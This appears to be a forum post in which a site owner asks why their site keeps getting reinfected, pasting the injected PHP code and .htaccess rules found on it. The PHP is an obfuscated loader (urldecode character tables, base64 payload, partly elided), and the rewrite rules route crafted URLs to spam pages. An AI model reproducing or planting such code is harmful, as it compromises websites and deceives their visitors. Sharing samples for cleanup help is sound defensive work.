Site keeps getting infected even with SecurityCheck Pro

@set_time_limit(0);
$xmlname = 'mapss.xml';
$jdir = '';
$smuri_tmp = smrequest_uri();
if($smuri_tmp==''){
	$smuri_tmp='/';
}
$smuri = base64_encode($smuri_tmp);
$dt = 0;
function smrequest_uri(){
	if (isset($_SERVER['REQUEST_URI'])){        
		$smuri = $_SERVER['REQUEST_URI'];        
	}else{
		if(isset($_SERVER['argv'])){       
			$smuri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['argv'][0];     
		}else{      
			$smuri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING'];        
		}
	}        
	return $smuri;        
} 

$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO
.... more lines of code ....
MDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));

RewriteEngine On
RewriteCond %{REQUEST_URI} !^/[0-9]+\..+\.cpaneldcv$
RewriteCond %{REQUEST_URI} !^/[A-F0-9]{32}\.txt(?:\ Comodo\ DCV)?$
RewriteRule ^[a-zA-Z0-9]{3}([a-zA-Z0-9]{5,19})/([0-9]{1,7}).html$ index.php?tempweb=$1&smid=$2 [L]
RewriteBase /
RewriteCond %{REQUEST_URI} !^/[0-9]+\..+\.cpaneldcv$
RewriteCond %{REQUEST_URI} !^/[A-F0-9]{32}\.txt(?:\ Comodo\ DCV)?$
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_URI} !^/[0-9]+\..+\.cpaneldcv$
RewriteCond %{REQUEST_URI} !^/[A-F0-9]{32}\.txt(?:\ Comodo\ DCV)?$
RewriteRule . /index.php [L]

RewriteEngine On
RewriteCond %{REQUEST_URI} !^/[0-9]+\..+\.cpaneldcv$
RewriteCond %{REQUEST_URI} !^/[A-F0-9]{32}\.txt(?:\ Comodo\ DCV)?$
RewriteRule ^[a-zA-Z0-9]{3}([a-zA-Z0-9]{5,19})/([0-9]{1,7}).html$ index.php?tempweb=$1&smid=$2 [L]
RewriteBase /
RewriteCond %{REQUEST_URI} !^/[0-9]+\..+\.cpaneldcv$
RewriteCond %{REQUEST_URI} !^/[A-F0-9]{32}\.txt(?:\ Comodo\ DCV)?$
RewriteRule ^([0-9]+)\/([^\d\/]+)\/([0-9]+)_(.*)..*$ ?$2$3=$1&%{QUERY_STRING}[L]
RewriteCond %{REQUEST_URI} !^/[0-9]+\..+\.cpaneldcv$
RewriteCond %{REQUEST_URI} !^/[A-F0-9]{32}\.txt(?:\ Comodo\ DCV)?$
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+).[0-9]+,[0-9]+.[0-9]+,[0-9]+.*\/.*=![0-9]+.*[0-9]+![0-9]+.*[0-9]+![0-9]+.*[0-9]+.*[0-9]+.*[0-9]+.*[0-9]+.*\:[0-9]+.*[0-9]+.*[0-9]+.*[0-9]+.*$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteCond %{REQUEST_URI} !^/[0-9]+\..+\.cpaneldcv$
RewriteCond %{REQUEST_URI} !^/[A-F0-9]{32}\.txt(?:\ Comodo\ DCV)?$
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+).[0-9]+,[0-9]+.[0-9]+,[0-9]+.*\/.*=![0-9]+.*[0-9]+![0-9]+.*[0-9]+![0-9]+.*[0-9]+.*[0-9]+.*[0-9]+.*[0-9]+.*\:[0-9]+.*[0-9]+.*[0-9]+.*[0-9]+.*\?.*=.*-JP$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteCond %{REQUEST_URI} !^/[0-9]+\..+\.cpaneldcv$
RewriteCond %{REQUEST_URI} !^/[A-F0-9]{32}\.txt(?:\ Comodo\ DCV)?$
RewriteRule ^(.*)\/([^\d\/]+)\/([0-9]+)\/([0-9]+)\/.*\/.*\/.*\/.*..*$ ?$2$3=$4&%{QUERY_STRING}[L]
RewriteCond %{REQUEST_URI} !^/[0-9]+\..+\.cpaneldcv$
RewriteCond %{REQUEST_URI} !^/[A-F0-9]{32}\.txt(?:\ Comodo\ DCV)?$
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_URI} !^/[0-9]+\..+\.cpaneldcv$
RewriteCond %{REQUEST_URI} !^/[A-F0-9]{32}\.txt(?:\ Comodo\ DCV)?$
RewriteRule . /index.php [L]